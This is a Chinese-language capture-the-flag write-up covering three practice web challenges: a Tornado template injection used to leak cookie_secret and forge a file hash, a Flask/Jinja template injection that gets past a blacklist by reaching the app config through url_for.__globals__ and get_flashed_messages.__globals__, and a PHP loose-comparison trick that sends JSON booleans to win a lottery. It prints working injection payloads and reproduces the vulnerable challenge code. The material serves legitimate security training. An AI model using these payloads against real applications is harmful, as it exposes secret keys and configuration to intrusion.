Web刷題之旅(一)-攻防世界 站


easy_tornado

題目打開,大概率是模板注入

修改filename,報錯

http://124.126.19.106:56689/error?msg=Error

tplmap里跑一下,沒有注入的地方,可能注入方式有問題

基於hint要尋找cookie_secret,控制台找不到

查資料無果,查WP:

handler指向的處理當前這個頁面的RequestHandler對象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings,這里面就是我們一下環境變量,我們正是從這里獲取的cookie_secret

Payload:

?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))

 

shrine

 

得到源碼:

import flask
import os

 

app = flask.Flask(__name__)

 

app.config['FLAG'] = os.environ.pop('FLAG')

 


@app.route('/')
def index():
return open(__file__).read()

 


@app.route('/shrine/')

def shrine(shrine):

def safe_jinja(s):

s = s.replace('(', '').replace(')', '')

blacklist = ['config', 'self']

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':

app.run(debug=True) 

 看樣子可能是flask的模板注入,@app.route后面跟的是瀏覽器請求的默認方法,即路由,大概率還有過濾

/shrine/{{ 2+2 }}

能返回4,說明的確是ssti,放tplmap里面是沒法跑的,因為沒有注入點(像id一類)

 倒是第一次接觸,查WP:

app.config['FLAG'] = os.environ.pop('FLAG')

注冊了一個名為FLAG的config,猜測這就是flag,如果沒有過濾可以直接{{config}}即可查看所有app.config內容,但是這題設了黑名單[‘config’,‘self’]並且過濾了括號

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

上面這行代碼把黑名單的東西遍歷並設為空,例如:

/shrine/{{config}}

不過python還有一些內置函數,比如url_for和get_flashed_messages

/shrine/{{url_for.__globals__}}

那我們就當前app下的config:

/shrine/{{url_for.__globals__['current_app'].config}}

get_flashed_messages

返回之前在Flask中通過 flash() 傳入的閃現信息列表。把字符串對象表示的消息加入到一個消息隊列中,然后通過調用 get_flashed_messages() 方法取出(閃現信息只能取出一次,取出后閃現信息會被清空)。

同理

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

也就是說,我們只要能查看config文件就能獲得flag

 

Lottery

買彩票,猜數字,flag要用一定的獎勵金額來購買

 

githack一下,源碼爆出

 

看了看api.php源碼,如下,大致說號碼是隨機生成的7位,至少猜對兩位才能得到獎勵

查閱WP:

$numbers 來自用戶json輸入 {"action":"buy","numbers":"1122334"},沒有檢查數據類型。 $win_numbers 是隨機生成的數字字符串。
使用 PHP 弱類型松散比較,以"1"為例,和TRUE,1,"1"相等。 由於 json 支持布爾型數據,因此可以抓包改包

就是將數據包里面的7位數,修改為7個true(PHP弱類型可以這么用嗎?)

之后一直重復,直到可以購買flag為止


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM